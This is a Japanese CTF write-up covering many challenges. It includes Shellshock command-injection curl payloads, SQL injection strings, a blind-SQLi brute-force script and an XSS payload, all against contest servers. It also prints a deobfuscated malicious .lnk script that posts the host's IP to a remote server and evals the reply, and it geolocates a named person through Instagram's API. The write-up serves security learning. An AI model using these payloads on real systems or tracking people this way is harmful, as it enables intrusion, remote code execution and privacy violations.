この大会は2015/11/16 20:00(JST)~2016/2/7 13:00(JST)に開催されました。
長期の個人戦の大会でしたので、じっくり考えた問題もありましたが、
結果は4816点で536名中、19位という好成績でした。
解けた問題をWriteupとして書いておきます。
101: image level 1 (練習 10)
4つの画像ファイルが添付されている。
縦に並べると、フラグが表示される。
START-YAMATO-SEC!!!
111 ワットイズディス? (芸術 33)
芸術問題は全般的になんと読むかという問題になっている。
まずはこの問題。
大和セキュリティ
112 cole nanee? (芸術 55)
忍
113 Lines and Boxes (芸術 222)
これは英語で読む。
WORDPLAY
115 毎日使う(芸術 111)
氣
121 壱萬回 (二進術 100)
64bit実行ファイルが与えられているので、アセンブリのコードにしてみる。
# file 121-calculation 121-calculation: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=927f46b50ed035c6d2b7194b1bea88a88a4fbbd4, not stripped # objdump -d -M intel 121-calculation > 121-calculation.asm
アセンブリのコードを見ると、showFlagという箇所があった。
0000000000400920 <showFlag>: 400920: 48 83 ec 08 sub rsp,0x8 400924: bf 46 00 00 00 mov edi,0x46 400929: e8 a2 fc ff ff call 4005d0 <putchar@plt> 40092e: bf 4c 00 00 00 mov edi,0x4c 400933: e8 98 fc ff ff call 4005d0 <putchar@plt> 400938: bf 41 00 00 00 mov edi,0x41 40093d: e8 8e fc ff ff call 4005d0 <putchar@plt> 400942: bf 47 00 00 00 mov edi,0x47 400947: e8 84 fc ff ff call 4005d0 <putchar@plt> 40094c: bf 5f 00 00 00 mov edi,0x5f 400951: e8 7a fc ff ff call 4005d0 <putchar@plt> 400956: bf 35 00 00 00 mov edi,0x35 40095b: e8 70 fc ff ff call 4005d0 <putchar@plt> 400960: bf 63 00 00 00 mov edi,0x63 400965: e8 66 fc ff ff call 4005d0 <putchar@plt> 40096a: bf 33 00 00 00 mov edi,0x33 40096f: e8 5c fc ff ff call 4005d0 <putchar@plt> 400974: bf 33 00 00 00 mov edi,0x33 400979: e8 52 fc ff ff call 4005d0 <putchar@plt> 40097e: bf 61 00 00 00 mov edi,0x61 400983: e8 48 fc ff ff call 4005d0 <putchar@plt> 400988: bf 31 00 00 00 mov edi,0x31 40098d: e8 3e fc ff ff call 4005d0 <putchar@plt> 400992: bf 62 00 00 00 mov edi,0x62 400997: e8 34 fc ff ff call 4005d0 <putchar@plt> 40099c: bf 38 00 00 00 mov edi,0x38 4009a1: e8 2a fc ff ff call 4005d0 <putchar@plt> 4009a6: bf 38 00 00 00 mov edi,0x38 4009ab: e8 20 fc ff ff call 4005d0 <putchar@plt> 4009b0: bf 36 00 00 00 mov edi,0x36 4009b5: e8 16 fc ff ff call 4005d0 <putchar@plt> 4009ba: bf 30 00 00 00 mov edi,0x30 4009bf: e8 0c fc ff ff call 4005d0 <putchar@plt> 4009c4: bf 65 00 00 00 mov edi,0x65 4009c9: e8 02 fc ff ff call 4005d0 <putchar@plt> 4009ce: bf 34 00 00 00 mov edi,0x34 4009d3: e8 f8 fb ff ff call 4005d0 <putchar@plt> 4009d8: bf 37 00 00 00 mov edi,0x37 4009dd: e8 ee fb ff ff call 4005d0 <putchar@plt> 4009e2: bf 64 00 00 00 mov edi,0x64 4009e7: e8 e4 fb ff ff call 4005d0 <putchar@plt> 4009ec: bf 61 00 00 00 mov edi,0x61 4009f1: e8 da fb ff ff call 4005d0 <putchar@plt> 4009f6: bf 38 00 00 00 mov edi,0x38 4009fb: e8 d0 fb ff ff call 4005d0 <putchar@plt> 400a00: bf 36 00 00 00 mov edi,0x36 400a05: e8 c6 fb ff ff call 4005d0 <putchar@plt> 400a0a: bf 34 00 00 00 mov edi,0x34 400a0f: e8 bc fb ff ff call 4005d0 <putchar@plt> 400a14: bf 37 00 00 00 mov edi,0x37 400a19: e8 b2 fb ff ff call 4005d0 <putchar@plt> 400a1e: bf 31 00 00 00 mov edi,0x31 400a23: e8 a8 fb ff ff call 4005d0 <putchar@plt> 400a28: bf 34 00 00 00 mov edi,0x34 400a2d: e8 9e fb ff ff call 4005d0 <putchar@plt> 400a32: bf 65 00 00 00 mov edi,0x65 400a37: e8 94 fb ff ff call 4005d0 <putchar@plt> 400a3c: bf 30 00 00 00 mov edi,0x30 400a41: e8 8a fb ff ff call 4005d0 <putchar@plt> 400a46: bf 34 00 00 00 mov edi,0x34 400a4b: e8 80 fb ff ff call 4005d0 <putchar@plt> 400a50: bf 32 00 00 00 mov edi,0x32 400a55: e8 76 fb ff ff call 4005d0 <putchar@plt> 400a5a: bf 65 00 00 00 mov edi,0x65 400a5f: e8 6c fb ff ff call 4005d0 <putchar@plt> 400a64: bf 31 00 00 00 mov edi,0x31 400a69: e8 62 fb ff ff call 4005d0 <putchar@plt> 400a6e: bf 33 00 00 00 mov edi,0x33 400a73: e8 58 fb ff ff call 4005d0 <putchar@plt> 400a78: bf 66 00 00 00 mov edi,0x66 400a7d: e8 4e fb ff ff call 4005d0 <putchar@plt> 400a82: bf 31 00 00 00 mov edi,0x31 400a87: e8 44 fb ff ff call 4005d0 <putchar@plt> 400a8c: bf 65 00 00 00 mov edi,0x65 400a91: e8 3a fb ff ff call 4005d0 <putchar@plt> 400a96: bf 0a 00 00 00 mov edi,0xa 400a9b: 48 83 c4 08 add rsp,0x8 400a9f: e9 2c fb ff ff jmp 4005d0 <putchar@plt> 400aa4: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 400aab: 00 00 00 400aae: 66 90 xchg ax,ax
0x46~0x65までのASCIIコードを文字に変換する。
FLAG_5c33a1b8860e47da864714e042e13f1e
122 DxLib遊戯如何様 (二進術 200)
オセロゲームの実行ファイルが与えられる。
1回勝っても終わらず、かなり長くかかりそうなので、うさみみハリケーンを使って勝利数を増やそうと考えた。
オセロで4回勝った時に「メモリ範囲を指定して検索」で以下の条件で検索するとメモリの箇所を特定できた。
・検索:比較単位:4
・通常検索:数値(バイト列:4)
そのメモリの箇所が勝利数のようなので、FF(=255)にして再度オセロに挑戦し、勝利したらフラグが表示された。
otHeLlo_is_ReVersI
131 image level 5 (解読術 50)
9つのpngファイルが与えられる。
ファイル名がMD5になっているのではないかと考え、MD5の逆変換のサイトで元の値を調べる。
8f14e45fceea167a5a36dedd4bea2543 → 7 45c48cce2e2d7fbdea1afc51c7c6ad26 → 9 1679091c5a880faf6fb5e6087eb1b2dc → 6 a87ff679a2f3e71d9181a67b7542122c → 4 c4ca4238a0b923820dcc509a6f75849b → 1 c9f0f895fb98ab9159f51fd0297e236d → 8 c81e728d9d4c2f636f067f89cc14862c → 2 e4da3b7fbbce2345d7772b0674a318d5 → 5 eccbc87e4b5ce2fe28308fd9f2a7baf3 → 3
1から順にアルファベットを並べると、フラグになった。
KOUBE-GYU
133 Decrypt RSA (解読術 200)
暗号のファイルと、公開鍵のファイルが与えられる。
公開鍵の情報を見てみる。
$ openssl rsa -pubin -text < public-key.pem Public-Key: (640 bit) Modulus: 00:ae:5b:b4:f2:66:00:32:59:cf:9a:6f:52:1c:3c: 03:41:01:76:cf:16:df:53:95:34:76:ea:e3:b2:1e: de:6c:3c:7b:03:bd:ca:20:b3:1c:00:67:ff:a7:97: e4:e9:10:59:78:73:ee:f1:13:a6:0f:ec:cd:95:de: b5:b2:bf:10:06:6b:e2:22:4a:ce:29:d5:32:dc:0b: 5a:74:d2:d0:06:f1 Exponent: 65537 (0x10001) writing RSA key -----BEGIN PUBLIC KEY----- MGwwDQYJKoZIhvcNAQEBBQADWwAwWAJRAK5btPJmADJZz5pvUhw8A0EBds8W31OV NHbq47Ie3mw8ewO9yiCzHABn/6eX5OkQWXhz7vETpg/szZXetbK/EAZr4iJKzinV MtwLWnTS0AbxAgMBAAE= -----END PUBLIC KEY-----
640bitもあるので、素因数分解するのに時間がかかりそう・・と思って、いろいろ調べてみたらRSA LABORATORIESというサイトにすでに解読されている640bitの素因数分解の情報が掲載されていた。
ここに掲載されている2つの数字の積と一致するので、この情報を使って秘密鍵を作成するプログラムを作成する。
import sys p = 1634733645809253848443133883865090859841783670033092312181110852389333100104508151212118167511579 q = 1900871281664822113126851573935413975471896789968515493666638539088027103802104498957191261465571 e = 65537 n = p*q def exgcd(x,y): r0,r1 = x,y a0,a1 = 1,0 b0,b1 = 0,1 while r1>0: q1 = r0/r1 r2 = r0%r1 a2 = a0-q1*a1 b2 = b0-q1*b1 r0,r1 = r1,r2 a0,a1 = a1,a2 b0,b1 = b1,b2 return a0,b0,r0 d = exgcd(e,(p-1)*(q-1))[0] + (p-1)*(q-1) exp1 = d % (p-1) exp2 = d % (q-1) coef = pow(q,p-2,p) def int2bin(d): t = "%x"%d return (t if len(t)%2==0 else "0"+t).decode("hex") def enclen(l): if l<0x80: return chr(l) else: t = int2bin(l) return chr(0x80+len(t))+t def encint(n): t = int2bin(n) return "\x02"+enclen(len(t))+t t = "".join(map(encint,[0,n,e,d,p,q,exp1,exp2,coef])) t = "\x30"+enclen(len(t))+t print "-----BEGIN RSA PRIVATE KEY-----" print t.encode("base64")[:-1] print "-----END RSA PRIVATE KEY-----"
生成した秘密鍵を使って、暗号ファイルのデータを復号する。
# openssl rsautl -decrypt -inkey secret-key.pem < flag.txt
FLAG_IS_WeAK_rSA
WeAK_rSA
151 Doubtful Files (解析術 100)
自己解凍形式型の圧縮ファイルが与えられる。
解凍すると、infファイルと、txtファイルが9個ずつ展開された。
> dir /r : 2014/09/05 00:18 <DIR> . 2014/09/05 00:18 <DIR> .. 2014/09/05 00:19 31 1.inf 26 1.inf:Zone.Identifier:$DATA 2014/09/05 00:19 41 1.vbs 26 1.vbs:Zone.Identifier:$DATA 2014/09/05 00:19 31 2.inf 26 2.inf:Zone.Identifier:$DATA 2014/09/05 00:19 41 2.vbs 26 2.vbs:Zone.Identifier:$DATA 2014/09/05 00:19 31 3.inf 26 3.inf:Zone.Identifier:$DATA 2014/09/05 00:19 41 3.vbs 26 3.vbs:Zone.Identifier:$DATA 2014/09/05 00:19 31 4.inf 26 4.inf:Zone.Identifier:$DATA 2014/09/05 00:19 41 4.vbs 26 4.vbs:Zone.Identifier:$DATA 2014/09/05 00:19 31 5.inf 26 5.inf:Zone.Identifier:$DATA 2014/09/05 00:19 41 5.vbs 26 5.vbs:Zone.Identifier:$DATA 2014/09/05 00:19 31 6.inf 26 6.inf:Zone.Identifier:$DATA 2014/09/05 00:19 41 6.vbs 26 6.vbs:Zone.Identifier:$DATA 2014/09/05 00:19 31 7.inf 56 7.inf:Zone.Identifier:$DATA 2014/09/05 00:19 41 7.vbs 26 7.vbs:Zone.Identifier:$DATA 2014/09/05 00:19 31 8.inf 26 8.inf:Zone.Identifier:$DATA 2014/09/05 00:19 41 8.vbs 57 8.vbs:Zone.Identifier:$DATA 2014/09/05 00:19 31 9.inf 26 9.inf:Zone.Identifier:$DATA 2014/09/05 00:19 41 9.vbs 26 9.vbs:Zone.Identifier:$DATA 18 個のファイル 648 バイト 2 個のディレクトリ 1,774,628,335,616 バイトの空き領域
Zone.Identifierは基本的には26になっているが、7.infと8.vbsは数字が異なっている。7.infと8.vbsのZone.Identifierストリームを確認する。
> more < 7.inf:Zone.Identifier [ZoneTransfer] ZoneId=0 ZmxhZz17QWx0ZXJuYXRlIERhdG > more < 8.vbs:Zone.Identifier [ZoneTransfer] ZoneId=4 EgU3RyZWFtIG9uIE5URlMhfQ==
表示された文字を結合してbase64デコードすると、
flag={Alternate Data Stream on NTFS!}となった。
Alternate Data Stream on NTFS!
152 情報漏洩 (解析術 100)
pcapファイルが与えられる。No.26~28のLeftover Capture Dataをエクスポートする。PNGファイルが分割されているようなので、No.26の不要なヘッダを削除し、連結してみる。
連結したPNGファイルにフラグが表示されている。
gambare benesse
153 Speech by google translate (解析術 150)
wavファイルが与えられる。そのまま再生すると、「flag is X5kpBQJU(small)...」と音声が途中で切れている。バイナリエディタで見ると、総ファイルサイズが正しくないので、修正する。修正後のファイルで再生すると、「flag is X5kpBQJUufHdkch923SJ」と聞こえた。
X5kpBQJUufHdkch923SJ
154 Cool Gadget (解析術 200)
モザイクがかかったようなjpgファイルが与えられる。バイナリエディタで見ると、「removeme={U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0}」という箇所がある。この部分を削除して保存すると、正しく画像が表示される。
削除したデータをBASE64でデコードして保存する。
import base64 b_enc = 'U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0' b_dec = b_enc.decode('base64') f = open('cipher.bin', 'wb') f.write(b_dec) f.close()
保存したファイルを見ると、先頭に「Salted__」と書いてある。
「aes-128-cbc」と書いてある箇所があるので、それをヒントに復号する。パスワードは画像に書かれている「EAHIV」を指定する。
# openssl enc -d -aes-128-cbc -in cipher.bin -out plain.txt enter aes-128-cbc decryption password:
plain.txtを見ると、「flag={Cryptex is cool!}」と書いてある。
Cryptex is cool!
161 ftp is not secure. (電網術 50)
pcapファイルが与えられる。No.100のパケットでオブジェクトを抽出し、そのまま強引に展開する。
その中にあるflag.txtに「RkxBR3tYVEluWDY5bnF2RmFvRXd3TmJ9Cg==」と書いてある。
BASE64デコードすると、「FLAG{XTInX69nqvFaoEwwNb}\n」となる。
FLAG{XTInX69nqvFaoEwwNb}
162 ベーシック (電網術 75)
pcapファイルが与えられる。No.43のパケットのAuthorizationにhttp://burning.nsc.gr.jpと書いてある。ベーシック認証ではここは「ユーザ名:パスワード」という形式なので、http://burning.nsc.gr.jpにアクセスしてユーザ名: http、パスワード: //burning.nsc.gr.jpで認証すると、「flag={BasicIsNotSecure}」と表示された。
BasicIsNotSecure
164 Japanese kids are knowing (電網術 150)
IPアドレスと括弧書きで「ポートスキャンは苦しゅうない」とだけ書かれている。
・・というわけでポートスキャンをする。
# nmap -p 1-10000 210.146.64.34 Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-22 18:32 JST : Nmap scan report for 210.146.64.34 Host is up (0.97s latency). Not shown: 9996 closed ports PORT STATE SERVICE 137/tcp filtered netbios-ns 138/tcp filtered netbios-dgm 514/tcp filtered shell 5006/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 6519.85 seconds
5006ポートにncコマンドで接続してみる。
# nc 210.146.64.34 5006 <C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name in lower case.
「かえるの歌」の音符なので、「私」は「蛙」。
frogのmd5は938c2cc0dcc05f2b68c4287040cfcf71。
938c2cc0dcc05f2b68c4287040cfcf71
165 Malicious Code (電網術 200)
WiresharkのExport Objects(HTTP)でp.lnkをエクスポートする。
リンク先を見るが、途中で切れている。
再度Wiresharkで該当のパケット(No.65)を取り出してみる。
eval(function(p, a, c, k, e, d) { e = function(c) { return (c ^ < a ? '' : e(parseInt(c / a))) + ((c = c % a) ^ > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^^/, String)) { while (c--) d[e(c)] = k[c] ^ | ^ | e(c); k = [function(e) { return d[e]}]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p } (' 6 3(){ 1 w=R("Q:{P=O}"); e=5 N(w.M("L * K J I H = G")); 4 e.F().E(0) } 6 p(u,d){ 1 r=5 D("C.B"); r.A("z",u,y); r.v("t-s","q/x-o-n-m"); r.l(2,k); r.j(d); 4 r.i } 1 u="h://g.f.c.b:a/p.9"; 1 d="8="+3();7(p(u,d)); ', 54, 54, '^|var^|^|ip^|return^|new^|function^|eval^|myaddr^|php^|60444^|38^|64^|^|^|146^|210^|https^|responseText^|send^|13056^|setOption^|urlencoded^|form^|www^|^|application^|^|Type^|Content^|^|setRequestHeader^|^|^|false^|POST^|open^|ServerXMLHTTP^|Msxml2^|ActiveXObject^|IPAddress^|item^|True^|IPEnabled^|WHERE^|Win32_NetworkAdapterConfiguration^|FROM^|SELECT^|ExecQuery^|Enumerator^|impersonate^|impersonationLevel^|winmgmts^|GetObject'.split('^|'), 0, {})) > % tmp % /x.js&%tmp%/x.js
これを読み解いていくと、次のようになる。
function ip(){ var w=GetObject("winmgmts:{impersonationLevel=impersonate}"); e=new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")); return e.item().IPAddress(0) } function p(u,d){ var r=new ActiveXObject("Msxml2.ServerXMLHTTP"); r.open("POST",u,false); r.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); r.setOption(2,13056);r.send(d); return r.responseText } var u="https://210.146.64.38:60444/p.php"; var d="myaddr="+ip(); eval(p(u,d));
実際にアクセスしてみる。
$ curl -k -H "Content-Type: application/x-www-form-urlencoded" -d myaddr=10.0.2.222 https://210.146.64.38:60444/p.php WScript.Echo('flag = {lnk is sometimes malicious}')
lnk is sometimes malicious
171 KDL (諜報術 100)
1998年にKDL (Kobe Digital Labo)がどういう人材を募集していたかという問題。
Wayback Machineでhttp://www.kdl.co.jp/を調べてみる。
ソフトウェア開発エンジニア
172 Mr. Nipps (諜報術 255)
山寺純社長は日本時間で今年の8月13日の朝の5時半に何処(緯度・経度)にいたかという問題。
FacebookやTwitterなどを調べてみるが、それらしい日時のものは見つからない。
インスタグラムを調べてみるが、なかなか特定の日時のものを見つけるのが難しいので、APIを調べてみる。
まずjunyamaderaのユーザIDをhttp://jelled.com/instagram/lookup-user-id#で調べると、317443であることがわかる。
この情報を使い、2015/8/13 5:00~6:00で検索するようAPI Consoleで調べる。
[リクエスト] https://api.instagram.com/v1/users/317443/media/recent/?min_timestamp=1439409600&max_timestamp=1439413200 [レスポンス] :(省略) { "pagination": {}, "meta": { "code": 200 }, "data": [ { "attribution": null, "tags": , "type": "image", "location": { "latitude": 34.0409203, "name": "Hooters of Downtown LA", "longitude": -118.2672272, "id": 3782125 }, "comments": { "count": 0, "data": }, "filter": "Normal", "created_time": "1439411503", "link": "https://www.instagram.com/p/6S_zS8JjLx/", :(省略) } ] }
これでこの時間帯にいる場所(緯度・経度)がわかった。
34.0409203,-118.2672272
173 Akiko-chan (諜報術 155)
写真が与えられ、何処のwordpressサイトで見られるかという問題。
Googleで画像検索すると、ここで見つけられる。
https://twanzphobic.wordpress.com/2014/05/06/some-not-so-random-misogyny/
twanzphobic.wordpress.com
174 タナカハック (諜報術 100)
大和セキュリティの田中さんのユーザ名を探す問題。
www.yamatosecurity.comに公開されているファイルにあるというヒントがあるので、このサイトから田中ザックさん作成のファイルを探す。
「勉強会」のページの「ネットワークフォレンジックの勉強会#1」の資料を開く。プロパティを見ると作成者欄に「tanakazakkarini123」と書いてある。
tanakazakkarini123
181 search_duplicate_character_string (記述術 100)
長大な文字列から違う箇所の部分文字列で同じになる最大の文字列を答える問題。50文字で見つからなかったので、そこから探していくプログラムを作成した。
f = open('181-search_duplicate_character_string') data = f.read() f.close() flag = 0 L = len(data) l = 50 while True: print "try %d" % l for i in range(L-l): if data.find(data[i:i+l], i+1) > -1: print "answer=%d" % l print "index=%d" % i print "str=%s" % data[i:i+l] flag = 1 break if flag == 1: break l = l - 1
f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><
182 JavaScript Puzzle (記述術 200)
Javascriptの穴埋め問題。わかるところから埋めていった。ASCIIコードを文字にして結合した後、小文字にし、1を引数にしてコールするというような処理。
4c0bf259050d08b8982b6ae43ad0f12be030f191
183 Count Number Of Flag's SubString! (記述術 100)
指定した文字列がフラグに何個含まれているかを返すWebシステムがあるので、フラグを探り当てる問題になっている。
「flag{」が最初に含まれていることが分かったので、それを前提にブルートフォースのプログラムを作成した。
import urllib import urllib2 list = ['a','b','c','d','e','f','g','h','i','j', \ 'k','l','m','n','o','p','q','r','s','t', \ 'u','v','w','x','y','z','_','{','}'] flag = 'flag={' url_pre = 'http://210.146.64.36:30840/count_number_of_flag_substring/?str=' while True: for i in list: flag_tmp = flag + i print flag_tmp url = url_pre + flag_tmp + '&count=count' request = urllib2.Request(url) response = urllib2.urlopen(request) data = response.read() if 'are 1' in data: flag = flag_tmp break if flag[-1:] == '}': break print flag
afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxr
184 解凍? (記述術 100)
txtファイルが与えられているが、実際はバイナリファイルであった。問題タイトルの通り、解凍していく必要がある。最初は手で解凍したが、再び圧縮ファイルだとわかるとマトリョーシカのように何重にも圧縮、アーカイブ化していることが予想できた。調整しながら、プログラムを作成した。
import os import bz2 import zipfile import tarfile import gzip command_no_param = 'file ' i = 0 init = 1 filename = '' while True: print "%d times" % i if init == 1: filename = '184-flag.txt' init = 0 command = command_no_param + filename + ' > type' os.system(command) f = open('type', 'r') type = f.read() f.close() if 'bzip2' in type: print 'bz2' fr = open(filename, 'rb') data = fr.read() fr.close() filename = 'out' + str(i) fw = open(filename, 'wb') data = bz2.decompress(data) fw.write(data) fw.close() elif 'Zip archive' in type: print 'zip' fr = zipfile.ZipFile(filename, 'r') for fname in fr.namelist(): filename = 'out' + str(i) fw = open(filename, "wb") fw.write(fr.read(fname)) fw.close() fr.close() elif 'tar archive' in type: print 'tar' fr = tarfile.open(filename, 'r') for tarinfo in fr: fname = tarinfo.name fr.extractall() fr.close() filename = 'out' + str(i) os.rename(fname, filename) elif 'gzip' in type: print 'gzip' fr = gzip.open(filename, 'rb') data = fr.read() fr.close() filename = 'out' + str(i) fw = open(filename, 'wb') fw.write(data) fw.close() else: break i = i + 1
解凍しきったファイルの中には「flag={6aKuZrEqxvBZUIqBOXgMclLwpQCo8OXi}」と書かれていた。
6aKuZrEqxvBZUIqBOXgMclLwpQCo8OXi
185 Make sorted Amida kuji!! (記述術 300)
あみだくじで3120が0123になるよう横棒の位置のパターンをすべて答える問題。プログラムで総当たりする。
start = '3120' end = '0123' rownum = 4 colnum = 3 hr = [] for i in range(rownum): for j in range(colnum): hr.append(str(i) + ' ' + str(j)) for j in range(2**12): bits = str(bin(j))[2:].zfill(12) error = 0 addFlg = 0 list = [] for k in range(12): if bits[k:k+1] == '1': if addFlg == 1: error = 1 break list.append(hr[k]) addFlg = 1 else: addFlg = 0 if k % colnum == colnum - 1: addFlg = 0 if error != 1: tmp = start for e in list: if e[2:] == '0': tmp = tmp[1:2] + tmp[0:1] + tmp[2:] elif e[2:] == '1': tmp = tmp[0:1] + tmp[2:3] + tmp[1:2] + tmp[3:] elif e[2:] == '2': tmp = tmp[0:2] + tmp[3:] + tmp[2:3] if tmp == end: for ans in list: print ans print '--------'
この結果を入力すると、「Challenge the next stage! Go to http://210.146.64.36:30840/amidakuji/?FLAG=uquqeteqeteququq」というメッセージが表示される。次のステージがあるらしい。言われたURLにアクセスすると、もっと巨大なあみだくじが・・。総当たりすることができない規模なので、場合分けして総当たりすることとした。プログラムの数が多いので、ここでの記載は省略する。これをクリアすると、「Flag Get!!Congratulations! flag={021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m
_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q}」とフラグが表示された。
021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q
192 Network Tools (超文書転送術 100)
OSコマンドをオプション付きで実行できるようなサイトが問題になっている。Shell Shockの問題ではないかと疑ってみた。以下のようにヘッダにOSコマンドを含め、リクエストを投げてみる。
$ curl -A '() { :;}; echo Content-type:text/plain;echo;/bin/ls -l' -d 'cmd=arp' -d 'option=' http://210.146.64.37:60888/exec <!doctype html> <title>Network Tools Collection</title> <link rel=stylesheet type=text/css href="/static/style.css"> <div class=page> <div id='menu'> <ul> <li><a href="/">Welcome</a></li> <li><a href="/list">Command List</a></li> <li><a href="/about">About</a></li> <li><a href="/contact">Contact Info</a></li> </ul> <div class='caption'>Network Tools ver 0.1</div> </div> <div id='content'> <div class='headline'>arp </div> <div class='body'> Content-type:text/plain<br /> <br /> total 28<br /> -rwxr-xr-x 1 root root 42 Jan 2 2015 flag.txt<br /> drwxrwxrwx 2 root root 4096 Dec 29 15:09 logs<br /> -rwxrwxr-x 1 root root 1234 Oct 11 15:58 logs.py<br /> -rwxr-xr-x 1 root root 458 Nov 28 2014 myapp.cgi<br /> -rwxr-xr-x 1 root root 2300 Oct 11 15:16 nwtools.py<br /> drwxr-xr-x 2 root root 4096 Dec 1 2014 static<br /> drwxr-xr-x 2 root root 4096 Dec 10 05:32 templates<br /> <br /> </div> <div> <br /> <a href="/list">Return</a> </div> </div> </div>
ファイル一覧が取得できたので、同様にflag.txtファイルの中を見るコマンドを投げる。
$ curl -A '() { :;}; echo Content-type:text/plain;echo;/bin/cat flag.txt' -d 'cmd=arp' -d 'option=' http://210.146.64.37:60888/exec <!doctype html> <title>Network Tools Collection</title> <link rel=stylesheet type=text/css href="/static/style.css"> <div class=page> <div id='menu'> <ul> <li><a href="/">Welcome</a></li> <li><a href="/list">Command List</a></li> <li><a href="/about">About</a></li> <li><a href="/contact">Contact Info</a></li> </ul> <div class='caption'>Network Tools ver 0.1</div> </div> <div id='content'> <div class='headline'>arp </div> <div class='body'> Content-type:text/plain<br /> <br /> flag={Update bash to the latest version!}<br /> <br /> </div> <div> <br /> <a href="/list">Return</a> </div> </div> </div>
flag.txtの中を見ることができ、フラグを取得することができた。
Update bash to the latest version!
193 箱庭XSS (超文書転送術 100)
alertを表示させる問題のようだが、alertと入れるとALERTとなってしまいalert関数をそのまま使うことができない。だが<u>などのタグはそのまま使えるようだ。いろいろ試行錯誤した結果、こう入れたらフラグが表示された。
<img src="" onerror="alert('XSS')">
2ztJcvm2h52WGvZxF98bcpWv
194 YamaToDo (超文書転送術 200)
ログインするとToDo情報を登録でき、自分の情報だけが登録日と一緒に表示されるようなサイトで、yamatoユーザの情報を取得する問題。PHPのコードとテーブル構造情報が添付されているので、それをもとにSQLインジェクションすることになる。文字エンコードが指定できるので、そこに脆弱性があるはずといろいろ調べる。SJISは受け付けないようになっているので、5C問題をつくことはできない・・と思ったが、CP932も基本はSJISと同じであることが分かった。
http://210.146.64.44/?ie=cp932にアクセスして、以下を登録する。
ソ', NOW()), ((select char(109,97,121)), (select `body` from `todos` as td where `user_id` = (select char(121,97,109,97,116,111)) order by `create_at` limit 1), NOW()) -- -
mayというユーザIDでログインしたので、自分の情報として表示するためにユーザIDに(select char(109,97,121))を指定した。
これで表示された文字は化けていたが、ブラウザでEUC-JPに変更するとフラグが表示された。
r3m3Mb3r_5c_pr0bL3m
195 Yamatoo (超文書転送術 300)
検索サイト。PHPのコードとテーブル構造情報が添付されていて、flagというテーブルがあることがわかる。このテーブルからフラグを取り出すことが目標。だが一番の曲者がngram。指定した文字列が2バイトずつ分断されてしまう。やはりSQLインジェクションするには最初のシングルクォーテーションをなんとかしなければならない。いろいろ試した結果、シングルクォーテーションが2バイト以上あれば回避できる。またシングルクォーテーションが2連続になると最初のものはエスケープ文字として働く。以下を試したら、それぞれ有効なSQLの結果が得られた。
・''' or (select length(`flag`) from `flag` limit 1) > 50 -- この場合は表示された ・''' or (select length(`flag`) from `flag` limit 1) > 60 -- この場合は表示されなかった。
あとはブラインドSQLインジェクションで検索結果の表示の有無で条件の成否でフラグを絞っていく。プログラムは次のような感じ。
import urllib import urllib2 protocol = 'http://' user = 'yamatoctf' password = 'GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx' topUrl = '210.146.64.45' url_base = protocol + topUrl + '/?q=' mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() mgr.add_password(None, topUrl, user, password) handler = urllib2.HTTPBasicAuthHandler(mgr) opener = urllib2.build_opener(handler) urllib2.install_opener(opener) for i in range(1, 61): query = '%27%27%27+or+%28select+length%28%60flag%60%29+from+%60flag%60' query += '+limit+1%29+%3D+' + str(i) + '+--' url = url_base + query request = urllib2.Request(url) response = urllib2.urlopen(request) data = response.read() if 'Proactive' in data: print 'The flag has ' + str(i) + ' characters' flaglen = i break flaglist = [] for j in range(1, flaglen + 1): flag_c_str = '' for k in range(len(flaglist)): flag_c_str += str(ord(flaglist[k])) flag_c_str += ', ' for c in range(33, 127): query = '%27%27%27+or+%28select+%60flag%60+from+%60flag%60' query += '+limit+1%29+%3C+char%28' + flag_c_str query += str(c) + '%29+--' url = url_base + query request = urllib2.Request(url) response = urllib2.urlopen(request) data = response.read() if 'Proactive' in data: print chr(c - 1), flaglist.append(chr(c - 1)) break flag = "".join(flaglist) print '' print 'The flag is ' + flag
この結果、flag={3rR0r_b453d_5Ql_1nj3c710N_50_1Mp0r74n7_d0_n07_F0r637}と表示された。
3rR0r_b453d_5Ql_1nj3c710N_50_1Mp0r74n7_d0_n07_F0r637
197 箱庭XSS 2 (超文書転送術 100)
箱庭XSSと同種の問題。alertと入れると何も表示されず、alert関数をそのまま使うことができない。だが<u>などのタグはそのまま使えるようだ。この程度の条件であれば、箱庭XSSと同じ答えで解決できる。
n2SCCerG4J9kDkHqvHJNhwr4
202 将棋詰め弐 (兵法術 100)
詰将棋の問題4つ。普通に詰将棋のルールで解けばよいが、本筋とは関係ないところで長い時間つまずいていた。右下の盤の縦の漢数字が4と7が逆になっていた。
左上は銀を26から35に動かせばよい。右上は金を57から56に動かせばよい。右下は桂馬を44におけばよい。 左下は馬を46から36に動かせばよい。
26355756444636
204 将棋詰め四 (兵法術 200)
詰将棋5手詰めの問題。金を26から36に動かす。玉は46から56に動き、銀をとる。銀を77から66に動かし、金に成る。玉は56から45に動く。金を36から35に動かす。
26364656776656453635